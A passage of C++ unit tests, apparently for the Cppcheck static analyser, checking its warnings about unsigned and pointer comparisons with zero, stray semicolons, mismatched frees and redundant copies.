{\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n 